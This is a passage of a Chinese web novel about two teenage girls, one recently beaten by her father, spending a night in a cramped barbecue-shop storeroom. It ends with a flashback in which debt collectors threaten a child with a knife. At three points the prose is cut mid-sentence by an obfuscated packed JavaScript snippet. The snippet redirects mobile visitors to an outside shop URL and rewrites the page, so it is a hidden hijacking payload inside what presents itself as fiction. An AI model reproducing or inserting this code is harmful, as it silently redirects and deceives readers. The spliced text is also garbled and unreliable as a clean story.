走着走着,她们很自然地闲聊起来。赵颖随口问她,你现在还住店里呢? 宁执玉点头,说二舅家住的也是老宅子,早年买的,总面积不到百来平,目前已经住了一家五口——二舅夫妻,两个表弟,以及舅妈的亲妈那位老人,宁执玉也管她叫“外婆”——实在是塞不下自己了。 所以在六年前收养了宁执玉后,二舅将烧烤店二楼的杂物间改造成了一个小房间,又在二楼的公共厕所里加了个太阳能热水器和花洒,以供外甥女居住。 虽然这些居住条件听起来貌似不错,但长期生活在这种压抑又没有多少真正的个人隐私空间而言的地方,宁执玉的个人生活肯定算不上幸福到哪里去。 之前周喜她们几个朋友来找老宁玩,结果发现在她的房间里,大家连腿都快伸不开了。 “啊……老宁……” 赵颖一时间不知该作何表情,她本来觉得自己要跟同父异母的妹妹赵子璇挤在一个房间、一张床上这件事已经够惨了,但是……这样的条件在宁执玉面前都能显得“幸福”了。 可如果拿此向朋友炫耀,却又不是赵颖这种善良的性格能做出来的事情。 “别担心,赵颖。”宁执玉像是有读心术一样看出了有些不安和莫名愧疚的赵颖此刻在想什么,她再次带着几分宽慰性质地笑了起来,“起码关店后的休息时间是独属于我一人的。” 赵颖扭头看着她似乎不以为意的微笑面孔好几秒,又再次低下头去盯着两人脚下的影子是如何在沿街路灯的影响下变长又变短的,叹了口气:“你倒是挺乐观。” “我当然乐观。”宁执玉语气平淡地回答,“因为我知道自己总有一天要离开这里。” 十六岁的赵颖听到这话时猛然心抽搐了一下,她如今还是个高二学生,没有经历过太多同龄人之间的别离,听到好友突然说出这话时难免大惊失色:“你……你要去哪里?” “大学啊。”宁执玉相当疑惑地看了赵颖一眼,对于她会问出那么简单的问题而奇怪,“你不打算参加高考吗?我记得你成绩也还行啊,努力一下,考个211应该没问题的。” 赵颖顿时松了口气,吓死,原来是高考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088487|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,她还以为宁执玉要突然转学之类的呢。 因此她忍不住笑着来缓解内心原本的紧张情绪:“宁执玉你这话说得跟贺亚红一个调子。” ——这话的本意是说老宁说话一板一眼,跟贺老师那种大人很相似。但是宁执玉只是冲她温和地眨眨眼:“因为你也该走出去,赵颖。陈水对我们而言太小了。” 赵颖愣了愣,不知该怎么回答,只能挠着头跟上她的脚步。 过了几秒她才嘟囔着道:“就算你这么说,我也没有什么信心考上很好的大学……” “我的学科笔记借你参考要不要?免费的。” “要!” 赵颖下意识地回答后,注意到学霸好友忽然偷偷地笑了。 “哇,老宁你这家伙在偷笑,果然是在看我笑话对吧——” “没有,你看错了。”宁执玉矢口否认。 然而在打打闹闹中,赵颖的头发有点散开,加之两人正好走到一盏路灯底下,光源明亮,宁执玉忽然注意到她左侧脸颊上那有些明显的红肿印记,当即大惊地停下脚步:“你的脸怎么了!” “诶?” 赵颖放下嘴角的笑容,这才感觉到因为自己刚才一直在笑,以至于脸上的伤口都有些被牵扯挤压后的明显痛楚了。 “哦,这个啊……我爸刚刚打的呗。” “什么情况?你今晚不是跟老王厮混去了吗,怎么又突然回家了。”宁执玉不解。 “厮混?你这用词真的是……主要是今晚我爸一直在打电话过来催,我不敢拖了,只好回去。我本以为他们那么晚应该都睡了,谁知道我爸坐在客厅里看球赛,一见面就揍我,哈哈。” 赵颖故作潇洒地挥挥手,好像这都不是事儿,不想让朋友看出自己的脆弱情绪一面。 宁执玉格外沉默地看着她好几秒,想起认识赵颖的这几年里她似乎没少被她亲爹家暴,她们几个朋友看在眼里却也无能为力……直到此时,宁执玉这才意识到自己为什么会在凌晨一点多的街道遇到这位明明有家在本地的同学。 她想了一下,旋即抬起自己那双外表湿漉漉的橡胶手套:“我现在手很脏,就不摸你的伤口了。我就问你,痛吗?” 赵颖本来想假装乐观地笑一笑,糊弄过去,但面对老宁那骤然认真严肃起来的眼神后,她还是认命地又叹了口气:“痛……当然是有一点的。” “他掌掴你后,你的脸上或者嘴里有当场出血吗?牙齿有没有松动?”宁执玉又问。 赵颖想了想,摇头。 宁执玉的表情仍然没有丝毫缓和的迹象:“从你挨打到现在,有没有耳朵出现爆裂声、耳鸣、耳痛、听力当场下降、视线受阻、记忆模糊……” “停停停!”赵颖吓得连忙抬手制止好友的“报菜名”行为,“都没有!而且没你说得那么严重吧?” 宁执玉温柔而怜爱地注视着这个没什么家暴常识的朋友,她知道赵颖在这方面的认知是完全不足的,但这不是对方的错……错的是施暴者和没能保护未成年人权益的防家暴机制。 “如果都没有上述情况,那应该暂且能持一个乐观态度来对待伤势的发展。”宁执玉慢吞吞地说,“不过我还是强烈建议你去附近的诊所或者社康看看。如果你实在害怕的话,我可以陪你去。” 赵颖本来以为好友在开玩笑或者吓唬自己,但很快就意识到宁执玉是认真的……这家伙拼着所剩不多的休息时间要陪自己去看病啊! 她都有点感动了。 可赵颖尴尬地站在原地想了一会儿,最后还是摇头拒绝:“我不想去。去了的话医生肯定要联系家长。叫我爸过来的话,我回去真要完蛋了。” 这回轮到老宁无语了,她完全能想象出倘若社区医生大半夜打电话通知赵杰(赵颖的亲爹)这事儿,那暴力老登回去后会怎么把这个叛逆的大女儿往死里打。 说不定到时候就不是小诊所小社康能解决的问题了,而是得大医院急诊科或者殡仪馆火葬场之类的…… “好吧!”她勉强妥协了,“那你当务之急是冰敷。” 赵颖看着她好几秒,疑惑道:“可我去哪里买冰袋呢?” 这个时间点,附近的药店都关门了,毕竟24小时营业的药店放眼全城也没有几家。 宁执玉一言不发地抬手摸了摸附近的路灯杆子,冬季的温度下,这杆子的铁质外壳透出一股冷冰冰的温度。 于是她指着路灯杆对赵颖说:“喏,你把脸贴上去就行。” 赵颖:“???” 真、真的假的! 4. 竟然不许 大晚上的,在这条没有第三人的偏僻路上,赵颖神情呆滞地站在路灯杆子的下方,再次跟宁执玉确认“冰敷”的真实性。 “你是说……我把脸贴到杆子上?” “有什么问题吗。”宁执玉一本正经地反问她,“你的脸现在需要冰敷,而这路灯杆子刚好很冰啊。” 赵颖陷入了不知该如何描述的疑惑——她觉得老宁这人脑子有病,但今晚有病的人好像又不止宁执玉一人。 但眼看好友摆出了一副信誓旦旦的自信模样,因此赵颖最后还是决定相信这家伙一回。 再加上她如今脸上确实火辣辣的疼,不太舒服,于是慢慢地将脸贴近了路灯杆子…… 然而就在赵颖即将碰到路灯杆子还有几厘米时,宁执玉突然用手臂的臂弯处一把勾住赵颖的肩膀(手上戴着湿漉漉的橡胶手套),将她整个人往旁边拽开,然后强忍笑意地说:“我逗你玩的,你怎么真信了?” 赵颖:“…………宁执玉你大爷的!” 怒火和黑线同时涌上心头,她气得追着老宁猛打。宁执玉当然不会站在原地等死,咧嘴一笑,抓着手里的绿色大桶就跑。 两人和一个泔水桶就这样风驰电掣地跑回烧烤店里头了。 片刻后,将东西放好并且洗干净手的宁执玉从厨房冷冻柜的冰格里捯饬出十几块方形冰块,用双层保鲜袋牢牢地扎紧开口,又从收银台下方抽了一叠厚实纸巾……她把这些东西一起递给满脸无所事事的赵颖:“店里没有医用冰袋,给你做了个应急的,你将就用一下吧。” 赵颖软乎乎地道了声谢,趴在桌上,将这个简易冰袋隔着纸巾敷在脸上的红肿处……果然是立竿见影地感觉到痛楚减轻了一些。 她在忙着冰敷,宁执玉也没闲着,很快用一次性塑料杯帮她倒了杯温水出来。 “老赵想不想吃宵夜?”披上长袖旧外套保暖的宁执玉拿着自己的杯子喝水,坐在她对面的位置上问道,“我给你去烤两串。” “免费的?”正在冰敷中的赵颖稍微打起了一点精神。 宁执玉挠挠头,有点不太好意思地说:“收费。不然我二舅明天清点食材串子时会要我补差价的。” “……你可是他亲外甥女,天天看店,偶尔偷吃两串都不行?” “亲儿子都没用,他每天下班前会登记柜子里的剩余食材,以防我半夜偷吃。而且店里也有监控摄像头。”宁执玉无奈地解释。 老赵又想出一个可能性事件:“万一半夜有小偷进来偷吃了怎么办?” 宁执玉呵呵一笑:“损失的账也算我头上呗。” “他妈的,什么东西!”听到这儿,赵颖忍不住骂了一句这抠门老板,宁执玉对此颇为赞许,甚至想要一起臭骂不做人的舅舅。 两人又随便瞎扯闲聊了一会儿,眼看墙上的闹钟都快一点半了,赵颖也冰敷完了,宁执玉便问她接下来的打算。 “赵颖你明天还去上学吗?” “不去了吧……反正都逃课了,也挨了打,干嘛急着回去?听贺亚红唠叨?”赵颖有点疲惫地趴在餐桌上,顺带将下巴枕在双臂上。 摆在桌上的简易冰袋有点融化了,保鲜袋表层浸着寒气的水珠,赵颖顺手将它拿远了一点。 老宁对此也能理解,毕竟不是每个人都能坦然顶着脸上一个巴掌印回学校的。 于是她宽慰朋友:“那你明天想不想做点试卷?我楼上有模拟卷。或者《五年模拟三年高考》啥的……” 赵颖难以置信地看着这家伙,良久才憋出一句“你当个人好吗”的吐槽。 宁执玉再次笑了。 意识到自己又被逗乐子的赵颖默默地盯着她的笑脸,有些走神。 说真的,宁执玉这人在大部分时候会有一种如同石头般沉默无言的冷淡感。唯独笑起来时,才像是有一道光从那坚实的外壳裂缝中透出些许,从中瞥见那独属于原石的色彩。 “老宁,难道外省的人都像你这样?”赵颖突兀地问。 “什么?这跟外省有什么关系。” 宁执玉不太理解,什么叫“她这样”?难道是说她一个臭外地的来陈水要饭的意思吗? “我也不知道该怎么形容……”赵颖转了转脑袋,换了个趴桌的姿势,“反正就是,很看得开?做很多事情会有一种比较独特的角度去思考问题。” 老宁大概明白了:“哦!你是想说我独一无二?” 赵颖的眼睛都虚了起来,满是损友间的鄙夷:“没那个意思,你别过度解读。” “是的,我就是那么棒。”宁执玉不听人话,自顾自地给自己点了个赞。 老赵被气笑了:“你不自恋会死啊。” “可能吧,哈哈。” 随后宁执玉又问她今晚打算去哪里过夜。 “其实我没想好啊!”赵颖也非常坦然地表示自己毫无准备,“毕竟我爸打得我受不了……我直接就冲出家门了,他叫我有本事今晚别回去,所以我今晚不打算回。” 宁执玉陷入沉默:“……” 她想象了一下自己的父亲当年会不会把自己暴揍到离家出走的程度。 结果想象不出来。就好像宁执玉根本想象不出那个温润和善,说话慢条斯理的男人为什么最后会堕入赌瘾的痛苦深渊里那样。 心情莫名有些沉郁的宁执玉赶紧喝了一口水,安抚自身情绪,随后像个蹩脚的狗头军师开始给赵颖出谋划策:“那……今晚你去投奔王艺菡?” 赵颖若有所思地重复道:“老王啊。” “嗯,她的床很大,同时塞下我们几个都没问题。要知道王总每天都从一千平米的床上爬起来,身旁有五百个妙龄女仆伺候着,她每天说的第一句话是‘走开!你们这些该死的金钱’……” 赵颖一脸郑重其事地纠正宁执玉:“不对,你说错了,根据我的经验来看,老王在家是睡着一万平米的大床,床边分别站着五百位女仆和五百位男仆。就连盖的被子都是美金钞票。” 这个霸总画面差点让宁执玉当场笑喷。 “所以呢?”笑够了以后,宁执玉又问,“你要去吗?去的话我护送你过去。” 赵颖很疑惑:“你一个人走夜路也很危险,怎么护送我?” 宁执玉默默地掏出了战术手电,赵颖看了一眼,本来想说“花里胡哨”之类的吐槽,但想起刚刚自己的遭遇……她不吱声了。 过了几秒,她才叹了口气:“算了吧,这个点去找老王的话,她肯定没意见,但一定会吵醒她的外婆。” “那倒也是。”宁执玉点点头。 作为从初中一路玩上来的几个好朋友,多少都对彼此的家庭有了个初步认识。 比如王艺菡的外婆很热情可爱,赵颖的父亲擅长家暴。再比如周喜的母亲很爱这个女儿,连带着也喜欢她的朋友们。还比如宁执玉的二舅很抠门,热爱压榨未成年劳动力,朋友们都避之而不及。 跟这么几个类人生物家长相比,几个人自然都很喜欢老王的外婆。 每次去王艺菡家里玩耍,女孩儿们都叽叽喳喳地叫唤着“外婆”……老奶奶也喜欢她们,过年的时候还会特意给孩子们准备大红包。 所以将心比心,赵颖不愿意在将近凌晨2点的时候去打扰老人休息也是正常的。 宁执玉深思熟虑一番,又提议:“那我们去投奔周喜吧。” “啊?人家在湖南参加她外婆的葬礼,还没回来呀。”赵颖愕然道,“这边家里都没人。” 老宁神色不变:“正是因为老周家里没人,我们可以大方地撬门而入。” “你那是非法入室行窃。”赵颖试图挽回好友的法律意识。 “我去!不早说?” “……”老赵无语了,她感觉这家伙就给不出一个靠谱建议。 还好,宁执玉依旧很可靠:“这样吧,老赵你今晚去外头睡天桥。明早的话……” “明早?” “我去给冻死的你收尸。”老宁善心大发。 一想到那种画面,赵颖简直想朝这损友吐口水了:“你37℃的嘴怎么说得出那么冰冷的台词的?” “靠真心就可以!” 赵颖怒了:“我没在问你!” “哦。”宁执玉委屈巴巴地回答道。 过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088488|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦灼的一会儿,宁执玉抬起头,发现面前的朋友目光灼灼地看着自己,她终于明白了这家伙是什么意思:“等等,你的意思该不会是……” “我突然想起来,我们好像都还没在你这儿睡过呢,老宁。”赵颖嬉笑着随口说。 对于初高中年级的青春期女生们来说,要验证友情有多可靠多美好的最好方法之一就是去对方家里,见家长,蹭饭吃,乃至于晚上大家睡在一起讲悄悄话。 属于是多年后回想起来都能会心一笑的美好回忆。 但是宁执玉现在笑不出来。 因为在过去几年里,她确实先后去周喜家睡过,也去王艺菡家里通宵打游戏和睡过,甚至就连赵颖家她也去睡过——那年暑假赵杰带着妻子和小女儿赵子璇做亲子旅游去了。赵家就赵颖一个活人,闺蜜们自然是当仁不让地冲进去玩耍,力求不让空巢老赵感到孤苦无依——这样下来,女孩们每次的聚会过夜都非常开心。 但宁执玉从来没想过自己这破破烂烂的落脚处今晚还要临时塞下一个人啊! 毕竟上次她们几个来这里玩的时候,王艺菡脱口而出的是:“我草,原来老宁你是哈利·波特吗?” 在《哈利·波特》一书中,主角哈利被姨母一家虐待,只能蜷缩地住在楼梯下方的杂物间里,而这是整个魔法童话故事的开端。 但是相比之下,宁执玉觉得还是自己凄惨一点,起码哈利有父母遗留下来的遗产,生活无忧,而自己的好爹妈只留下一堆负债。 于是当时宁执玉回答:“不知道,但我的入学猫头鹰应该是迷路了,至今没找到我。” 毕竟她小时候也是看着哈利的故事长大的孩子,说一句倒背如流都不为过。 “你来真的啊?”宁执玉发现赵颖的眼睛亮晶晶的,一直盯着自己,当即有点怂了。 “认真的。”赵颖好奇地说,“莫非你房间里有什么见不得人的东西?” 老宁擦了擦脑门上的冷汗,确认道:“也没有。” “那不就得了?”赵颖用手掌撑着下巴,疑惑地看向她,“还是说……你真的不太方便?” 宁执玉呆呆地沉默了一会儿,赵颖看不出她这张缺乏感情波动的脸此刻在想什么,但她也很快意识到现在的气氛貌似有点尴尬……因为她本就是随口好奇地问一下,能成就成,不能成就算了,并没有真的想为难朋友。 于是赵颖忽然若无其事地笑起来:“好啦好啦,别愁眉苦脸的,开玩笑而已!我逗你玩呢!” 今晚逗朋友好几回的宁执玉算是领教到什么叫做因果报应了。 她头疼地捏捏眉心:“不是!我……我没有什么不方便的,朋友想来我这儿住一晚我其实也挺高兴的。赵颖你别误会……” “没事,我知道你没那个意思,但我还是去老王家吧,大不了进门时候动作轻一点……今晚麻烦你了,老宁,谢啦。” 说罢,赵颖摇摇晃晃地站起来准备出门,却站在卷帘门前被拦住了去路。 她停下脚步,指着面前的卷帘门,回头问道:“要怎么出去?” 宁执玉犹犹豫豫地回答道:“走厨房的后门吧。不过,你……” 赵颖:“嗯?” 宁执玉的脸颊疤痕抽搐了一下,紧抿着嘴,表情仿佛在参加什么重大的考试,显然是下了很大的决心才说出这句话:“你今晚就暂时住这儿吧,明早天亮后你再去找老王呗……毕竟现在确实太晚了,我怕路上不安全。” 双手插兜的赵颖愣了愣,显然没料到这事情会峰回路转,她盯着宁执玉那双透着认真意味的黑眼睛好几秒,确认道:“真的?不勉强?” “真没勉强。”宁执玉不太好意思地扭开脸回答道,“我只是担心你嫌弃这里的条件太差。” 赵颖猛地愣了下,下一秒她格外洒脱地笑了:“怎么会?我又不是第一次来玩!” 就这样,宁执玉还是决定今晚让朋友在自己这儿留宿了。 不然还能怎么样呢。 反正等赵颖这次满足了好奇心后,下次她再遇到类似的事情就知道应该直接去找王艺菡家了。宁执玉在心中暗自确信。 5. 生活小事 起初赵颖把在这儿过夜的事情想得很简单:朋友都能住几年的房间,难道我连住一晚都熬不过去吗? 不过等她来到二楼走廊的最里头,看着宁执玉掏出钥匙解开拴在门上的黄铜锁头并顺手开灯后,她跟着挤进去,才发现这儿的空间狭窄压抑得吓人。 这个原本的烧烤店杂物间顶多也就五六平米的面积,还比不上赵颖和妹妹赵子璇房间面积的三分之一。 进去之后,第一眼就能发现这个房间里四面无窗,都是墙壁。更没有什么空调家电,只有墙壁上方有一台方形的排气扇镶嵌着用于透气。 宁执玉的“床”也很有寒酸,它甚至连真正的木制家具都算不上,因为底下全是一箱箱的塑料箱子排列顶着,里头塞着看不真切的重物来支撑,以免塌陷。赵颖甚至在最外层那一排的塑料箱子外壳上捕捉到模糊的“青岛啤酒”白色字样。 装啤酒瓶的塑料箱在地板上排列成行,上面放着薄薄的一块木板、不足手指宽的廉价床垫和被褥枕头等物。 虽然这只是一张单人床的长宽面积,并不算太大,但房间已经因此显得很拥挤了。 墙边叠加着垒有三个有些陈旧和使用划痕的塑料大箱子,看着像是车载箱子的类型,里面分别放着宁执玉的各类衣物、实体书籍、学习资料和一些生活用品。 除此之外,可增减重量的专业哑铃、沙袋、不同磅数的阻力带、多孔排插、手机充电线、床上折叠书桌和台灯等生活物品一应俱全。 “哇……”赵颖眨了眨眼睛,满脸新奇地环顾四周,“老宁你平时那么忙,还会惦记着健身?” 宁执玉的语气很随意:“随便玩玩。学得头痛时当放松。” “什么学霸的凡尔赛发言……”赵颖忍不住笑起来,“不管看几次,都觉得你这儿真是麻雀虽小五脏俱全。” 其实自从邀请朋友留宿后就一直有点紧张的宁执玉直到这个时候才稍微放松了点,她仔细观察着赵颖的神情,确认她没有露出任何嫌弃或者厌恶的神态后顿时暗自松了口气。 “害,这破地方能有什么好羡慕的?我还觉得你家的房间大呢。”她同样笑着回道。 赵颖的表情顿了顿,有些奇怪,却最后也只是自嘲地扯了一下嘴角:“我沾了赵子璇的光而已。” 一个将近成年的姐姐在家里混到要沾小学生妹妹的“光”,对于这种做事明显不公的父母,宁执玉也不好评价什么,只是很快岔开了话题:“我等会儿去外面包厢里搬几张椅子过来,放到床边,再拿备用的被子铺在一起……免得晚上睡着睡着人滚到地上去了。” “可以啊。”赵颖对此没有任何意见。或者说,只要不去看亲爹和养母阿姨的嘴脸,哪怕是沦落到睡天桥底下她可能心里都没有那么难受。 宁执玉见她接受态度良好,也不禁高兴起来:“那你先去洗澡?” 赵颖很乖巧:“好。” 很快,宁执玉带她到厕所去,教赵颖该如何使用这里的冷热水沐浴装置,并指着墙壁上方的太阳能热水器所显示的百分比数字问道:“会用这种吗?冬天的热水有点难烧,你洗快点,注意这个数字别掉到20%以下就好了。不然到时候就没热水了。” “会用,我以前也用过。”赵颖看了一眼这玩意儿,迟疑了几秒,忽然问道,“你说这热水器烧热水很慢是吧?” “嗯,如果你用到20%的话,我就要等半小时才能洗了。”宁执玉话语里很坦然,丝毫没有觉得因为招待朋友而导致自己今晚的休息时间一再缩减这件事有什么烦恼之处。 赵颖扭头看着她,小心翼翼地试探道:“我尽量洗快点,但就不洗头了?……老宁你介意吗。” 宁执玉顿时乐了:“我看着像是有洁癖的人吗?不洗就不洗呗,赵颖你明天去蹭老王家的豪华浴室再搓个澡,想想就美得很。” 她这话当然是说得有点夸张,但王艺涵家的浴室设备确实比这二楼厕所的简易洗涮装置好上几个档次,还做了“适老化”的相关防滑改造,让当年第一次去老王家里玩的小姐妹们惊呼连连。 “搓澡啊……我这辈子还没试过呢。”在陈水这个小地方长大的赵颖面露憧憬之色,“听说东北的澡堂子很豪华。可惜陈水没有这种店。” “搓澡店在南方的市场环境下很难开得起来吧?”宁执玉一边随口说,一边试了试花洒的水温,确认里面喷出的是热水后就赶紧关掉了花洒开关,“以后等考上大学,假期里我们四个人组团去东北玩玩呗。” “那行!说定了啊。到时候你负责说服老周,我来搞定老王——谁不去谁就小狗!”赵颖想着以后的闺蜜出游计划,顿时美滋滋的。 宁执玉也眯起眼睛,很愉悦地笑了:“好啊。我会记得的。” 眼看赵颖准备关门洗澡了,然而下一秒这个女孩子忽然想起一件有点尴尬的事情,站在亮着灯的厕所门口,有点进退两难:“哎哟……” “怎么了?” “宁执玉,今晚我穿什么?”赵颖不安地问道。 “呃,我想一下——穿我的衣服?都是洗干净的。”老宁也不太自信,不自觉地小声说,“不好意思,我这儿没有全新的睡衣。” “哎哟没事!王艺菡以前借我的那些睡衣也多半是她自己穿过的。”赵颖求助而尴尬地看向这位朋友,“主要是,我突然想到没带毛巾和牙刷,还有内裤……” 宁执玉也呆愣几秒,这才想起这件事也确实是收留朋友过夜的前提,因此她很爽快地说道:“这样吧,我现在去隔壁的24小时便利店给你买吧,那里应该也有一次性内裤卖。你先洗。” 赵颖眨巴着眼睛:“要不你先买,我晚点给你报销吧?” “不用!说了今晚让你住,你就安心住。”宁执玉一口否决。 “可是——” “再啰嗦的话,我就跟你要今晚的住宿费了。”老宁故意冷酷地恐吓道。 “好吧……那让老宁你破费了。”赵颖多少有点手足无措,像是浑身刺挠一样不自在。 因为她知道宁执玉的经济状况历来非常窘迫,亲生父母不管她,监护人二舅又是个钻进钱眼里的“葛朗台”——宁执玉平时只能靠帮一些同学代写假期作业或者有偿借出学科笔记来赚点小钱。 穷得简直是屋里来了耗子都只能带一叠试卷走。 就连平时四个人出去玩,一般都是她们几个买单请客,老宁多半是不参与的。 因为这位朋友甚至连日常买烟的钱都掏不出! 但是王艺菡和周喜她们几个都很同情宁执玉的处境,几人事先商议好能暗中帮一把朋友就帮一把,但又不能直接砸钱,免得伤了朋友自尊。而宁执玉对此似乎也是心知肚明,她很平和地收下来自友人们的善意,然后转头经常帮她们免费补课和讲解难题。 如今的老宁也一眼就看出了赵颖的欲言又止背后想要表达哪个意思,到头来却没说什么,只是摆摆手,转身向楼梯处走去:“客气啥,你平时不也请我吃喝玩乐吗?别有什么心理负担。你先关好门洗澡,我五分钟内就回来。” “哦哦,好。”赵颖很听话地把门关上了。 等十来分钟后赵颖穿着一身属于冬季的长袖长裤衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088489|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出来时,她发现床边已经新增了四张有暗红色海绵靠背的包厢座椅,座位上还铺着一床备用的被褥,连进床铺里头。 ——宁执玉已经把这单人床临时“加宽”了。 赵颖进来时,她正争分夺秒地坐在床边,翘着二郎腿在做习题册上一篇英文的阅读理解,眼看还剩下最后一题在思考,赵颖也就蹑手蹑脚地凑过去,没有打扰朋友刷题。 宁执玉当然知道她来了,不过她还是凝神静气地在最后一题的括号处郑重地写了个“D”后,方才抬头:“这么快就洗好了?” “嗯。”站在旁边围观的赵颖腼腆地点点头,随后迫不及待地指了指习题册,“快看看答案?” 这篇阅读理解一共有五道选择题,对比最后面的参考答案,居然全对,这让赵颖看得啧啧称奇。宁执玉脸上却没有什么骄傲自得的神色,闷闷地解释了一句:“我小时候在国际学校待过几年。” “是要出国的那种吗?”赵颖傻傻地问道。 老宁平淡地回答:“对啊。本来计划是去英国的。” 赵颖更加惊奇:“那为什么……” “家里出了点事,后来我就来陈水了。”宁执玉若无其事地笑着,没有过多解释的意思。她随手合上了摊开的习题册,站起身,显然是准备去看看热水器的百分比数字是否支持她现在洗澡。 不知为何,听到这个意料之中的答案时,赵颖心里难免有点闷闷的。 虽然她们都猜测宁执玉以前家境应该算是挺好的那种,毕竟这个来自外省的转学生朋友知道很多事情,甚至还会弹几首钢琴的曲子,气质看着就跟这个小县城的同龄人格格不入。 但老宁具体为什么会大老远地跑来陈水读书的缘由……她们几个却从来没有主动问过。 主要是大家都不太敢问,每次说到家境时老宁的表情分明都不太好,小伙伴们都怕戳她伤心处。就连素来有点混世魔王性格的王艺菡都不敢轻易惹这位朋友生气。 等去视察了剩余热水量后,老宁从厕所里回来,开始在大箱子里找自己的睡衣……在此期间,赵颖无意中注意到她随手摸出了一条有些掉色的陈旧红黑色腰带,但宁执玉的手立刻如触电般将其塞回箱子底部了。 哎,我是不是看到人家不想给我看的东西?赵颖讪讪地转开视线,低头玩手机,假装在凌晨2点还有很多人找自己那样忙碌。 等老宁拿好衣物,一回头,发现赵颖还很拘束地坐在床边玩手机,不知该往哪儿躺的样子。 “电热毯我开好了。保证今晚够暖和。”宁执玉贴心地指了指贴着墙壁的那一侧床铺位置,“赵颖你今晚睡里头吧,我睡外边。” 赵颖顿时感动无比:“我去!老宁你人也太好了吧?” “哈哈,真夸张。你难得来一趟,哪有让客人睡觉都睡不舒服的道理?”宁执玉一时间笑出声来,表示都是小事,“我洗澡去啦。” 直到确认厕所门关上以及里面传来了水流哗啦啦的声响,赵颖独自一人躺在这张属于朋友的床铺上,感受着薄薄床垫下传来不太舒服的硬度,她索性用双臂枕在后脑勺下方,径直陷入沉思。 赵颖怔怔地盯着天花板上的白色长条形灯具,嗅觉里很快传来了这个房间里淡淡的霉味与烧烤味所混杂的独特气味,算不上好闻,只能说勉强能忍受的程度。她忽然莫名地很想叹气。 “去英国啊……” 从大城市里一个原本能出国的富裕家庭沦落到住这种转身都嫌拥挤的小小杂物间,宁执玉这些年来又是怎样的一种心情呢? ……赵颖想不明白。 6. 美玉无瑕 空气里充斥着海风特有的咸腥气味和更多古怪的甜腻味道,放眼望去尽是一片破败萧条却又看不真切的昏暗室内场景,不远处筒状的机器轰轰地运转着,搅拌着里面灰白色的浆液。 行事粗野的男人们在聚众喝酒,打牌,茶几上的烟灰缸里塞满了熄灭的烟头,而行走间脚下的人字拖踩在泥水中发出令人牙酸的声响,数日来吃剩的外卖盒已经围着垃圾袋溢出来…… 宁执玉再一次于恍惚中回到了这个地方,她睁开眼,视野里却像是隔着一层厚重的昏暗雾气,永远看不清周围。 有人正坐在沙发上打着市面上最流行的视频电话,夹杂着口音的普通话算不上标准,但话语里的恶意简直是一目了然。 “徐小姐,你也不想你的女儿……她还那么小,那么……” “你是聪明人。” “哦?不信我?利仔,把孩子带来给徐小姐看看!” 宁执玉感觉有人在背后用力且粗鲁地推攘自己,年幼的她踉跄地往前走了几步,险些跌倒在地,所幸马上被利仔扯着后衣领重新站好。 当脑袋上的头套被摘下时,这个孩子因为周围光线的急剧明暗变化而不得不眯起眼睛来,然后她听见了一个熟悉的声音传来——来自面前那个戴着金链子男人的手机的通话那端。 “小玉!小玉!你还好吗?你现在感觉怎么样!你没事吧——” 宁执玉努力睁大了眼睛,模糊的视野渐渐变得清晰,眼前的一切开始变得可怖而无法理解。 “妈妈……”她疑惑地呢喃着,眼泪却不受控制地在眼眶打转。 她惶惶惑惑地讲了几句话,说话间看清了自己的母亲在哭。 家中遭遇如此重大的变故,那个女人仿佛一夜之间白了头,眼睛红肿,神情憔悴,想要忽视都做不到。 当她看清楚自己女儿如今的模样时,眼泪更是直直地流下。 母亲的眼泪落在了宁执玉的心口上,砸得她头晕目眩,悲从中来。 ……我现在沦为一个令妈妈痛苦无比的人了。宁执玉忽然得出这样的结论。 旋即一股剧烈的疼痛从下巴处传来——那个催债团伙的男人阴笑着用手捏住了她的下巴,却没看宁执玉本人一眼。 这个胡须佬用另一只手掏出了一柄随身携带的锐利小刀,在孩子脸上几厘米的位置处虚虚地比划起来:“徐小姐,你女儿很可爱诶,你们两公婆平时一定很疼她吧?” “你想做什么……”宁执玉听见母亲的声音颤抖而无助。 “别怕呀,我只是好奇——你说,她这么可爱的一张小脸,要是留了疤,以后会怎么样?”男人依旧在笑。 “求求你们别伤害她!”妈妈大哭着尖叫起来,整张脸一下子凑到屏幕镜头前,显得扭曲而痛苦,“我会去筹钱的!我可以卖了那个房子,但你们——” 然而下一秒出乎所有大人预料的事情发生了。 宁执玉的眼珠子一直盯着刀锋与自己皮肤的距离,她依照以前在少年班学过的技巧和经验在评估这把刀的危险性。 这一刻,这个孩子莫名地想起了更早之前与父亲的一段对话。 【“爸爸,我的名字是什么意思呀?”】 【“这个呀……爸爸妈妈呢,希望你能成为此生都能手持美玉的高洁之人。”】 但是爸爸,“玉”在这世上也有另外一层意思。 宁为玉碎,不为瓦全。 